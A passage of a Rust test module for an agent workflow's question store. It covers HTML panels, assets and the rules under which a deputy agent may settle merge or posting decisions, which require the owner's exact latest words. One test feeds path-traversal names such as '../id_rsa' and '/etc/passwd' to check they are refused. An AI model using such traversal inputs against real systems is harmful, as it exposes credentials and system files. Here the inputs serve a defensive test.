2883 "the shell metacharacters are one argument's contents, not syntax"
2884 );
2885
2886 q.summary = "should {url} be configurable?".to_owned();
2889 assert_eq!(
2890 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2891 "should {url} be configurable?"
2892 );
2893 assert_eq!(
2895 expand("{title}: {run}", &q.run, &q.summary, ""),
2896 "{title}: 20260902-201256-9fb7"
2897 );
2898 assert_eq!(
2899 expand("no placeholders", &q.run, &q.summary, "http://x"),
2900 "no placeholders"
2901 );
2902 }
2903
2904 #[test]
2905 fn the_notification_link_lands_on_the_view_that_can_answer() {
2906 assert_eq!(
2907 question_url("http://100.64.0.1:7777"),
2908 "http://100.64.0.1:7777/#/questions"
2909 );
2910 assert_eq!(
2911 question_url("http://100.64.0.1:7777/"),
2912 "http://100.64.0.1:7777/#/questions"
2913 );
2914 assert_eq!(
2916 question_url("http://magi.ts.net/#/runs"),
2917 "http://magi.ts.net/#/runs"
2918 );
2919 assert_eq!(question_url(" "), "");
2921 }
2922
2923 fn panelled() -> Question {
2925 let mut q = choice_question();
2926 q.id = "20260903-014455-ab12".to_owned();
2927 q
2928 }
2929
2930 #[test]
2931 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2932 let (dir, s) = store();
2933 let work = dir.path().join("worktree");
2934 std::fs::create_dir_all(&work).unwrap();
2935 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2936 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2937
2938 let mut q = panelled();
2939 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2940 s.put_panel(
2941 &mut q,
2942 html,
2943 &[work.join("table.png"), work.join("diff.svg")],
2944 )
2945 .unwrap();
2946 s.put(&mut q).unwrap();
2947
2948 assert!(q.panel);
2949 assert_eq!(
2950 q.assets,
2951 ["diff.svg", "table.png"],
2952 "sorted, not in the order the agent happened to pass them"
2953 );
2954 assert_eq!(
2955 s.panel_html(&q.id).as_deref(),
2956 Some(html),
2957 "the html is stored byte for byte; the agent authored the markup"
2958 );
2959 assert_eq!(
2960 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2961 Some(&b"<svg/>"[..])
2962 );
2963
2964 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2966 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2967 assert_eq!(json["panel"], true);
2968 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2969 let back = s.get(&q.id).unwrap();
2970 assert!(back.panel);
2971 assert_eq!(back.assets, q.assets);
2972
2973 std::fs::remove_dir_all(&work).unwrap();
2976 assert_eq!(
2977 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2978 Some(&b"\x89PNG"[..]),
2979 "a referenced asset would be gone with the worktree"
2980 );
2981 }
2982
2983 #[test]
2984 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2985 let (dir, s) = store();
2986 let mut q = panelled();
2987 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2988 s.put(&mut q).unwrap();
2989
2990 let secret = "this must never reach the browser";
2993 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2994 assert_eq!(
2995 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2996 secret,
2997 "the traversal is real: the operating system resolves this path \
2998 happily, which is why the name has to be refused before the join"
2999 );
3000
3001 let long = "x".repeat(200);
3002 for name in [
3003 "..",
3004 "../id_rsa",
3005 "..\\id_rsa",
3006 "sub/../id_rsa",
3007 "/",
3008 "\\",
3009 "/etc/passwd",
3010 "C:\\Windows\\win.ini",
3011 "",
3012 ".hidden",
3013 ".",
3014 long.as_str(),
3015 ] {
3016 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3017 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3018 assert!(
3019 e.contains("not a panel file name"),
3020 "`{name}` must be refused as a name, not attempted: {e}"
3021 );
3022 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3023 }
3024 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3027
3028 let hidden = dir.path().join(".hidden");
3031 std::fs::write(&hidden, "x").unwrap();
3032 let e = s
3033 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3034 .unwrap_err()
3035 .to_string();
3036 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3037 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3038 assert!(q.assets.is_empty());
3039 }
3040
3041 #[test]
3042 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3043 let (dir, s) = store();
3044 let mut q = panelled();
3045 s.put(&mut q).unwrap();
3046
3047 let big = dir.path().join("recording.png");
3050 std::fs::File::create(&big)
3051 .unwrap()
3052 .set_len(PANEL_MAX_BYTES)
3053 .unwrap();
3054
3055 let html = "<p>see the recording</p>";
3056 let total = PANEL_MAX_BYTES + html.len() as u64;
3057 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3058 assert!(
3059 e.contains(&PANEL_MAX_BYTES.to_string()),
3060 "the cap is named so the agent knows the limit: {e}"
3061 );
3062 assert!(
3063 e.contains(&total.to_string()),
3064 "the actual size is named so the agent knows by how much: {e}"
3065 );
3066
3067 assert!(!q.panel);
3068 assert!(q.assets.is_empty());
3069 let left: Vec<String> = std::fs::read_dir(s.root())
3070 .unwrap()
3071 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3072 .collect();
3073 assert_eq!(
3074 left,
3075 [format!("{}.json", q.id)],
3076 "a refused panel leaves neither a directory nor scratch: {left:?}"
3077 );
3078 }
3079
3080 #[test]
3081 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3082 let (dir, s) = store();
3083 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3084 std::fs::create_dir_all(&before).unwrap();
3085 std::fs::create_dir_all(&after).unwrap();
3086 std::fs::write(before.join("diff.png"), "before").unwrap();
3087 std::fs::write(after.join("diff.png"), "after").unwrap();
3088
3089 let mut q = panelled();
3090 let e = s
3091 .put_panel(
3092 &mut q,
3093 "<p>x</p>",
3094 &[before.join("diff.png"), after.join("diff.png")],
3095 )
3096 .unwrap_err()
3097 .to_string();
3098 assert!(e.contains("diff.png"), "{e}");
3099 assert!(
3100 e.contains("before") && e.contains("after"),
3101 "both sources are named, because the fix is to rename one: {e}"
3102 );
3103 assert!(!q.panel);
3104 assert!(!s.panel_dir(&q.id).exists());
3105 }
3106
3107 #[test]
3108 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3109 let (_dir, s) = store();
3110 let barrier = std::sync::Barrier::new(8);
3111 let ids = std::thread::scope(|scope| {
3112 let handles: Vec<_> = (0..8)
3113 .map(|worker| {
3114 let s = &s;
3115 let barrier = &barrier;
3116 scope.spawn(move || {
3117 barrier.wait();
3118 (0..16)
3119 .map(|index| {
3120 let mut q = choice_question();
3121 q.id = new_id_at("20261020-224346", 0xf8ef);
3124 q.summary = format!("worker {worker}, question {index}");
3125 assert!(valid_asset_name(&q.id));
3126 assert_eq!(q.short(), "f8ef");
3127 let html = format!("<p>{}</p>", q.summary);
3128 s.put_panel(&mut q, &html, &[]).unwrap();
3129 s.put(&mut q).unwrap();
3130 (q.id, q.summary, html)
3131 })
3132 .collect::<Vec<_>>()
3133 })
3134 })
3135 .collect();
3136 handles
3137 .into_iter()
3138 .flat_map(|handle| handle.join().unwrap())
3139 .collect::<Vec<_>>()
3140 });
3141 assert_eq!(s.list().len(), ids.len());
3142 for (id, summary, html) in ids {
3143 assert_eq!(s.get(&id).unwrap().summary, summary);
3144 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3145 }
3146 }
3147
3148 #[test]
3149 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3150 let (dir, s) = store();
3151 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3152 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3153
3154 let mut q = panelled();
3155 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3156 .unwrap();
3157 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3158 .unwrap();
3159
3160 assert_eq!(q.assets, ["new.png"]);
3161 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3162 assert!(
3163 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3164 "an asset from the first attempt would show a mix of two answers"
3165 );
3166
3167 s.drop_panel(&q.id).unwrap();
3168 assert!(s.panel_html(&q.id).is_none());
3169 assert!(!s.panel_dir(&q.id).exists());
3170 s.drop_panel(&q.id)
3171 .expect("dropping a panel that is already gone is the desired state");
3172 }
3173
3174 #[test]
3175 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3176 let (_dir, s) = store();
3177 let mut q = panelled();
3178 s.put(&mut q).unwrap();
3179
3180 assert!(!q.panel);
3181 assert!(s.panel_html(&q.id).is_none());
3182 assert!(
3183 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3184 "a missing file is a 404 for the caller, not a failure of the store"
3185 );
3186 let json = serde_json::to_value(&q).unwrap();
3187 assert_eq!(json["panel"], false);
3188 assert_eq!(json["assets"], serde_json::json!([]));
3189
3190 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3193 assert!(e.contains("empty panel"), "{e}");
3194 assert!(!s.panel_dir(&q.id).exists());
3195 }
3196
3197 #[test]
3198 fn a_question_written_before_panels_existed_still_deserialises() {
3199 let (_dir, s) = store();
3200 std::fs::create_dir_all(s.root()).unwrap();
3201 let id = "20260902-231501-ab12";
3202 let body = r#"{
3204 "schema": 1,
3205 "id": "20260902-231501-ab12",
3206 "run": "20260902-201256-9fb7",
3207 "node": "implement",
3208 "seat": "impl-A",
3209 "summary": "Which storage backend should the cache use?",
3210 "detail": "Both are already dependencies.",
3211 "choices": ["SQLite", "Redis"],
3212 "status": "open",
3213 "asked_at": "2026-09-02T23:15:01Z",
3214 "answered_at": null,
3215 "answer": null
3216}"#;
3217 std::fs::write(s.path_of(id), body).unwrap();
3218
3219 let q = s.get(id).unwrap();
3220 assert!(
3221 !q.panel,
3222 "an absent field means no panel, not a parse error"
3223 );
3224 assert!(q.assets.is_empty());
3225 assert_eq!(q.schema, 1);
3230 assert!(q.thread.is_empty());
3231 assert_eq!(
3232 q.answer_timeout, 0,
3233 "an absent field means unrecorded, not a zero-second deadline"
3234 );
3235 assert!(!q.waiting_on_agent());
3236 assert_eq!(q.summary, "Which storage backend should the cache use?");
3237 assert_eq!(
3238 s.list().len(),
3239 1,
3240 "and it is still listed; skipping it would hide an open question"
3241 );
3242 }
3243
3244 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3245 Turn {
3246 who,
3247 body: body.to_owned(),
3248 at,
3249 note: None,
3250 }
3251 }
3252
3253 #[test]
3254 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3255 let mut q = choice_question();
3258 q.thread
3259 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3260 let value = serde_json::to_value(&q.thread[0]).unwrap();
3261 let mut keys: Vec<&str> = value
3262 .as_object()
3263 .unwrap()
3264 .keys()
3265 .map(String::as_str)
3266 .collect();
3267 keys.sort_unstable();
3268 assert_eq!(keys, ["at", "body", "who"]);
3269 assert_eq!(value["who"], "operator");
3270 assert_eq!(value["body"], "why not Postgres?");
3271
3272 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3273 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3274 assert_eq!(parsed.who, Who::Agent);
3275 }
3276
3277 fn approval_question() -> Question {
3278 let mut q = Question::new(
3279 "run".into(),
3280 crate::land::APPROVAL_NODE.into(),
3281 "land".into(),
3282 "Merge?".into(),
3283 String::new(),
3284 vec!["merge".into(), "hold".into()],
3285 );
3286 let mut dep = Deputy::new("brief".into());
3287 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3288 q.deputy = Some(dep);
3289 q
3290 }
3291
3292 #[test]
3293 fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3294 for choice in [
3295 crate::merge_decision::WITHDRAW,
3296 "reimplement:primary",
3297 "retry",
3298 "discard",
3299 ] {
3300 let mut q = approval_question();
3301 q.choices.push(choice.into());
3302 if matches!(choice, "retry" | "discard") {
3303 q.node = "recovery".into();
3304 }
3305 if choice == "discard" {
3306 q.actions.insert(choice.into(), ChoiceAction::Done);
3307 }
3308 let words = "おっけーそれぞれ回答してー";
3309 q.say(words).unwrap();
3310 let error = q
3311 .settle_by_deputy("deputy-x", choice, words, None)
3312 .unwrap_err()
3313 .to_string();
3314 assert!(
3315 error.contains(if choice == "retry" {
3316 "manifest"
3317 } else {
3318 "individual owner confirmation"
3319 }),
3320 "{choice}: {error}"
3321 );
3322 assert!(q.status.open());
3323 }
3324 }
3325
3326 #[test]
3327 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3328 for choice in [
3329 crate::land::HOLD,
3330 crate::land::REPAIR,
3331 crate::merge_decision::WITHDRAW,
3332 "reimplement:beta",
3333 ] {
3334 let mut q = approval_question();
3335 q.node = crate::land::APPROVAL_NODE.into();
3336 q.choices = vec!["merge".into(), choice.into()];
3337 q.merge_target = Some(crate::merge_decision::Target {
3338 pr: "PR 42".into(),
3339 head: "abc".into(),
3340 language: "en".into(),
3341 });
3342 q.say(format!("Should we choose {choice}?")).unwrap();
3343 assert!(
3344 q.settle_by_deputy("deputy-x", choice, choice, None)
3345 .is_err()
3346 );
3347 q.say(choice).unwrap();
3348 q.settle_by_deputy("deputy-x", choice, choice, None)
3349 .unwrap();
3350 assert_eq!(q.resolution().as_deref(), Some(choice));
3351 }
3352 let mut q = approval_question();
3353 q.node = crate::land::APPROVAL_NODE.into();
3354 q.choices = vec!["merge".into(), "hold".into()];
3355 q.merge_target = Some(crate::merge_decision::Target {
3356 pr: "PR 42".into(),
3357 head: "new-head".into(),
3358 language: "en".into(),
3359 });
3360 q.say("merge old-head").unwrap();
3361 assert!(
3362 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3363 .is_err()
3364 );
3365 q.say("merge new-head").unwrap();
3366 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3367 .unwrap();
3368 }
3369
3370 #[test]
3371 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3372 let mut q = approval_question();
3373 q.choices.push(crate::land::REPAIR.into());
3374 q.say("maybe fix findings and re-review").unwrap();
3375 assert!(
3376 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3377 .is_err()
3378 );
3379 q.say(crate::land::REPAIR).unwrap();
3380 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3381 .unwrap();
3382 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3383 assert_eq!(
3384 crate::land::approval(q.resolution().as_deref()),
3385 crate::land::Approval::Repair
3386 );
3387 }
3388
3389 #[test]
3390 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3391 let mut q = approval_question();
3392 q.say("merge").unwrap();
3393 q.reply("sure?", vec!["merge".into(), "hold".into()])
3394 .unwrap();
3395 q.say(" Merge it please ").unwrap();
3396 assert!(
3397 q.settle_by_deputy("deputy-x", "merge", " ", None)
3398 .is_err(),
3399 "an empty quote is refused"
3400 );
3401 assert!(
3402 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3403 .is_err(),
3404 "a quote the owner never said is refused"
3405 );
3406 assert_eq!(q.status, QuestionStatus::Open);
3407 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3408 .unwrap();
3409 assert_eq!(q.resolution().as_deref(), Some("merge"));
3410 }
3411
3412 #[test]
3413 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3414 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3415 let mk = || {
3416 let mut q = Question::new(
3417 "run".into(),
3418 crate::github_text::ASK_NODE.into(),
3419 crate::github_text::ASK_SEAT.into(),
3420 "s".into(),
3421 String::new(),
3422 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3423 );
3424 let mut dep = Deputy::new("brief".into());
3425 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3426 q.deputy = Some(dep);
3427 q
3428 };
3429 let mut hedged = mk();
3430 hedged.say("Post the original, maybe?").unwrap();
3431 assert!(
3432 hedged
3433 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3434 .is_err()
3435 );
3436 let mut clear = mk();
3437 clear.say("Post the original text as it is.").unwrap();
3438 clear
3439 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3440 .unwrap();
3441 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3442 let mut japanese = mk();
3443 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3444 japanese.say(words).unwrap();
3445 japanese
3446 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3447 .unwrap();
3448 let mut unrelated = mk();
3449 unrelated.say("Proceed with the task").unwrap();
3450 assert!(
3451 unrelated
3452 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3453 .is_err()
3454 );
3455 for words in [
3456 "OK, post the original",
3457 "Yes, post original",
3458 "I'd like to post the original",
3459 ] {
3460 let mut natural = mk();
3461 natural.say(words).unwrap();
3462 natural
3463 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3464 .unwrap();
3465 }
3466 for (message, quote) in [
3467 (
3468 "ログには「元の説明で投稿しました」と記録されています。",
3469 "ログには「元の説明で投稿しました」と記録されています。",
3470 ),
3471 (
3472 "ログには「元の説明で投稿してください」と記録されています。",
3473 "元の説明で投稿してください",
3474 ),
3475 ] {
3476 let mut descriptive = mk();
3477 descriptive.say(message).unwrap();
3478 assert!(
3479 descriptive
3480 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3481 .is_err()
3482 );
3483 assert!(descriptive.status.open());
3484 assert!(descriptive.answer.is_none());
3485 }
3486 let mut descriptive = mk();
3487 let message = "Post original was the option I saw.";
3488 descriptive.say(message).unwrap();
3489 for quote in [message, "Post original"] {
3490 assert!(
3491 descriptive
3492 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3493 .is_err()
3494 );
3495 assert!(descriptive.status.open());
3496 assert!(descriptive.answer.is_none());
3497 }
3498 let mut safe = mk();
3500 safe.say("use the fallback").unwrap();
3501 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3502 .unwrap();
3503 }
3504
3505 #[test]
3506 fn posting_deputy_rejects_multiline_quoted_context() {
3507 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3508 for (command, choice) in [
3509 ("Post original", POST_ORIGINAL),
3510 ("Use rewrite", USE_REWRITE),
3511 ] {
3512 for message in [
3513 format!("The log contains:\n```\n{command}\n```"),
3514 format!("The log contains:\n\"\n{command}\n\""),
3515 format!("The log says: “Reported. {command}.”"),
3516 format!("The log says: “\n{command}\n”"),
3517 ]
3518 .into_iter()
3519 .chain(crate::github_text::reported_posting_messages(command))
3520 {
3521 let mut q = Question::new(
3522 "run".into(),
3523 ASK_NODE.into(),
3524 ASK_SEAT.into(),
3525 "s".into(),
3526 String::new(),
3527 vec![USE_FALLBACK.into(), choice.into()],
3528 );
3529 let mut dep = Deputy::new("brief".into());
3530 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3531 q.deputy = Some(dep);
3532 q.say(&message).unwrap();
3533 let tmp = tempfile::tempdir().unwrap();
3534 let questions = Questions::at(tmp.path().join("questions"));
3535 questions.put(&mut q).unwrap();
3536 for quote in [command, message.as_str()] {
3537 assert!(
3538 questions
3539 .update(&q.id, |stored| {
3540 stored.settle_by_deputy("deputy-x", choice, quote, None)
3541 })
3542 .is_err()
3543 );
3544 let after = questions.get(&q.id).unwrap();
3545 assert!(after.status.open());
3546 assert!(after.answer.is_none());
3547 }
3548 }
3549 }
3550 }
3551
3552 #[test]
3553 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3554 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3555 let mk = || {
3556 let mut q = Question::new(
3557 "run".into(),
3558 crate::github_text::ASK_NODE.into(),
3559 crate::github_text::ASK_SEAT.into(),
3560 "s".into(),
3561 String::new(),
3562 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3563 );
3564 let mut dep = Deputy::new("brief".into());
3565 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3566 q.deputy = Some(dep);
3567 q
3568 };
3569 let mut hedged = mk();
3570 hedged.say("Use the rewrite, maybe?").unwrap();
3571 assert!(
3572 hedged
3573 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3574 .is_err()
3575 );
3576 let mut descriptive = mk();
3577 let message = "Use rewrite was the option I saw.";
3578 descriptive.say(message).unwrap();
3579 for quote in [message, "Use rewrite"] {
3580 assert!(
3581 descriptive
3582 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3583 .is_err()
3584 );
3585 assert!(descriptive.status.open());
3586 assert!(descriptive.answer.is_none());
3587 }
3588 for words in [
3589 "Use the rewrite text as it is.",
3590 "I'd like to use the rewrite",
3591 "修正版で投稿してください。",
3592 ] {
3593 let mut clear = mk();
3594 clear.say(words).unwrap();
3595 clear
3596 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3597 .unwrap();
3598 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3599 }
3600 let mut safe = mk();
3602 safe.say("use the fallback").unwrap();
3603 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3604 .unwrap();
3605 }
3606
3607 #[test]
3608 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3609 let mk = |choices: Vec<String>| {
3610 let mut q = Question::new(
3611 String::new(),
3612 crate::bump::NOTICE_NODE.into(),
3613 "release-watch".into(),
3614 "Release?".into(),
3615 String::new(),
3616 choices,
3617 );
3618 let mut dep = Deputy::new("brief".into());
3619 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3620 q.deputy = Some(dep);
3621 q
3622 };
3623 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3624 assert!(crate::deputy::merge_gated(&approval));
3625 approval.say("マージしていいよ").unwrap();
3626 assert!(
3627 approval
3628 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3629 .is_err(),
3630 "a quote the owner never said is refused"
3631 );
3632 approval
3633 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3634 .unwrap();
3635
3636 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3637 assert!(!crate::deputy::merge_gated(&esc));
3638 esc.say("もう監視はいらない").unwrap();
3639 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3640 .unwrap();
3641 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3642 }
3643
3644 #[test]
3645 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3646 let mut q = approval_question();
3647 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3648 .unwrap();
3649 assert!(
3650 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3651 .is_err(),
3652 "the quote must be the owner's"
3653 );
3654 assert!(
3655 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3656 .is_err(),
3657 "`hold` still needs the whole message"
3658 );
3659 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3660 .unwrap();
3661 assert_eq!(q.resolution().as_deref(), Some("merge"));
3662 }
3663
3664 fn settle_ready() -> Question {
3665 let mut q = Question::new(
3666 "task".to_owned(),
3667 "conduct".to_owned(),
3668 "conduct".to_owned(),
3669 "Done?".to_owned(),
3670 String::new(),
3671 vec!["yes".to_owned(), "no".to_owned()],
3672 );
3673 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3674 seat.turns = 1;
3675 let mut dep = Deputy::new("brief".to_owned());
3676 dep.seat = Some(seat);
3677 q.deputy = Some(dep);
3678 q.say("setup done, and file a follow-up").unwrap();
3679 q
3680 }
3681
3682 #[test]
3683 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3684 let dir = tempfile::TempDir::new().unwrap();
3685 let store = Questions::at(dir.path().join("questions"));
3686 let mut q = settle_ready();
3687 let id = q.id.clone();
3688 store.put(&mut q).unwrap();
3689 store
3690 .update(&id, |q| {
3691 q.settle_by_deputy(
3692 "deputy-x",
3693 "yes",
3694 "setup done",
3695 Some(" no follow-up was queued "),
3696 )
3697 })
3698 .unwrap();
3699 let back = store.get(&id).unwrap();
3700 let turn = back.thread.last().unwrap();
3701 assert_eq!(turn.who, Who::Agent);
3702 assert!(turn.body.starts_with("Settled as `yes`"));
3703 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3704 assert_eq!(back.thread[0].note, None);
3705 }
3706
3707 #[test]
3708 fn an_empty_or_blank_settle_note_is_no_note() {
3709 for note in [None, Some(""), Some(" \n ")] {
3710 let mut q = settle_ready();
3711 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3712 .unwrap();
3713 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3714 let json = serde_json::to_string(&q).unwrap();
3715 assert!(!json.contains("\"note\""), "no key when there is none");
3716 }
3717 }
3718
3719 #[test]
3720 fn a_refused_settle_leaves_no_note_behind() {
3721 let mut q = settle_ready();
3722 let before = q.thread.clone();
3723 assert!(
3724 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3725 .is_err()
3726 );
3727 assert!(
3728 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3729 .is_err()
3730 );
3731 assert_eq!(q.thread, before);
3732 assert_eq!(q.status, QuestionStatus::Open);
3733 }
3734
3735 #[test]
3736 fn a_turn_written_before_notes_existed_still_reads() {
3737 let t: Turn =
3738 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3739 .unwrap();
3740 assert_eq!(t.note, None);
3741 }
3742
3743 #[test]
3744 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3745 let mut q = approval_question();
3746 q.say("merge").unwrap();
3747 q.reply("sure?", vec!["merge".into(), "hold".into()])
3748 .unwrap();
3749 q.say("wait, hold off").unwrap();
3750 assert!(
3751 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3752 .is_err()
3753 );
3754 assert_eq!(q.status, QuestionStatus::Open);
3755 }
3756
3757 #[test]
3758 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3759 let mut q = Question::new(
3760 "task".to_owned(),
3761 "conduct".to_owned(),
3762 "conduct".to_owned(),
3763 "Done?".to_owned(),
3764 String::new(),
3765 vec!["yes".to_owned(), "no".to_owned()],
3766 );
3767 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3768 seat.turns = 1;
3769 let mut dep = Deputy::new("brief".to_owned());
3770 dep.seat = Some(seat);
3771 q.deputy = Some(dep);
3772 q.say("setup done, go ahead").unwrap();
3773
3774 assert!(
3775 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3776 .is_err()
3777 );
3778 assert!(
3779 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3780 .is_err()
3781 );
3782 assert!(
3783 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3784 .is_err()
3785 );
3786 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3787 assert_eq!(q.status, QuestionStatus::Open);
3788
3789 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3790 .unwrap();
3791 assert_eq!(q.status, QuestionStatus::Answered);
3792 assert_eq!(q.resolution().as_deref(), Some("yes"));
3793 let last = q.thread.last().unwrap();
3794 assert_eq!(last.who, Who::Agent);
3795 assert!(
3796 last.body.contains("setup done"),
3797 "the quote stays on the record"
3798 );
3799 }
3800
3801 #[test]
3802 fn a_question_written_before_deputies_still_reads() {
3803 let mut q = Question::new(
3804 "task".to_owned(),
3805 "conduct".to_owned(),
3806 "conduct".to_owned(),
3807 "Done?".to_owned(),
3808 String::new(),
3809 Vec::new(),
3810 );
3811 q.schema = 4;
3812 let mut v = serde_json::to_value(&q).unwrap();
3813 v.as_object_mut().unwrap().remove("deputy");
3814 let back: Question = serde_json::from_value(v).unwrap();
3815 assert!(back.deputy.is_none());
3816 }
3817
3818 #[test]
3819 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3820 let mut q = choice_question();
3821 q.say("does the cache need eviction?").unwrap();
3822 assert_eq!(q.thread.len(), 1);
3823 assert_eq!(q.thread[0].who, Who::Operator);
3824 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3825 assert_eq!(q.status, QuestionStatus::Open);
3828 assert!(q.answer.is_none());
3829 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3830 }
3831
3832 #[test]
3833 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3834 let mut answered = choice_question();
3835 answered
3836 .answer(Answer::Choice("SQLite".to_owned()))
3837 .unwrap();
3838 let a = answered.say("still there?").unwrap_err().to_string();
3839 assert!(a.contains("already answered"), "{a}");
3840 let b = answered
3841 .reply("still there?", vec![])
3842 .unwrap_err()
3843 .to_string();
3844 assert!(b.contains("already answered"), "{b}");
3845
3846 let mut abandoned = choice_question();
3847 abandoned.abandon("timed out");
